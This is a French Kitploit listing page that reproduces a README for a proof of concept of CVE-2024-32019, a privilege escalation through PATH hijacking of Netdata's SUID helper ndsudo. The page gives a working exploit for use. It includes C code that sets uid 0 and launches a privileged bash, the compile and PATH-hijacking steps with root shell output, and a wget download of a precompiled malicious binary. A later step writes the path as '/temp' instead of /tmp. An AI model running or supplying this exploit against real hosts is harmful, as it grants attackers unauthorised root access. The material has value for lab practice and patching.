Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-32019-POC — Workflow d'escalade de privilèges locaux Netdata ndsudo et POC (CVE-2024-32019) | Kitploit
Outils/GitHubGitHub/juanbelin/cve-2024-32019-poc
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubjuanbelin/cve-2024-32019-poc

CVE-2024-32019-POC

Workflow d'escalade de privilèges locaux Netdata ndsudo et POC (CVE-2024-32019)

Voir le dépôt
1il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-32019-POC

Netdata ndsudo workflow d'escalade de privilèges locaux et POC (CVE-2024-32019)

  • Workflow
  • Exploitation automatique
  • Ressources

Workflow

[!TIP] Veuillez lire

Netdata est un outil de surveillance des applications et des systèmes, il tourne sur le port 19999, facile à trouver :

root@kitploit:~
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     

tcp        0      0 127.0.0.1:19999         0.0.0.0:*               LISTEN  

Cette vulnérabilité (CVE-2024-32019) affecte les versions suivantes : >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169. Nous pouvons faire une requête pour connaître la version dans l'en-tête de réponse :

CVE-2024-32019-1

L'exploitation se produit en exploitant un détournement de PATH (PATH Hijacking) d'un de leurs plugins, ndsudo, qui se trouve souvent dans /opt/netdata/usr/libexec/netdata/ et qui possède le bit SUID.

root@kitploit:~
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
CVE-2024-32019-2

Nous pouvons voir ce que nous pouvons faire en utilisant --help

root@kitploit:~
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help

ndsudo

(C) Netdata Inc.

A helper to allow Netdata run privileged commands.

  --test
    print the generated command that will be run, without running it.

  --help
    print this message.

The following commands are supported:

- Command    : nvme-list
  Executables: nvme 
  Parameters : list --output-format=json

- Command    : nvme-smart-log
  Executables: nvme 
  Parameters : smart-log {{device}} --output-format=json

- Command    : megacli-disk-info
  Executables: megacli MegaCli 
  Parameters : -LDPDInfo -aAll -NoLog

- Command    : megacli-battery-info
  Executables: megacli MegaCli 
  Parameters : -AdpBbuCmd -aAll -NoLog

- Command    : arcconf-ld-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 LD

- Command    : arcconf-pd-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 PD

The program searches for executables in the system path.

Variables given as {{variable}} are expected on the command line as:
  --variable VALUE

VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
root@kitploit:~
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.

Comme nous pouvons le voir, puisque le script contient plusieurs commandes parmi lesquelles choisir qui chercheront un exécutable, nous pouvons exploiter cela pour créer notre propre exécutable nommé comme l'un des exécutables dans un chemin que nous pouvons ajouter à la variable d'environnement PATH.

Netdata utilise C, par conséquent, nous devons faire notre script en C et le compiler.

CVE-2024-32019
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
    perror("execl");
    return 1;
}
root@kitploit:~
gcc arcconf.c -o arcconf

Ensuite, comme discuté précédemment, nous ajoutons le chemin du script au $PATH

root@kitploit:~
test@test:/tmp$ PATH=/tmp:$PATH

Enfin, nous exécutons simplement la commande qui pointe vers notre exécutable malveillant (arcconf-pd-info -> arcconf) et elle va nous donner un shell privilégié

root@kitploit:~
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root

Exploitation automatique

Vous pouvez télécharger le script C malveillant déjà compilé qui vous donnera un bash en tant que root comme mentionné dans l'exemple ci-dessus :

root@kitploit:~
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf 
root@kitploit:~
mv arcconf /tmp #Si votre cible a une connexion Internet

scp ./arcconf test@test:/tmp/arcconf #Si votre cible n'a pas de connexion Internet
root@kitploit:~
PATH=:/temp:$PATH
root@kitploit:~
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #Le chemin de ndsudo peut changer

Ressources

  • https://learn.netdata.cloud/docs/collecting-metrics/

  • https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93

  • https://app.hackthebox.com/machines/684

Télécharger l’outil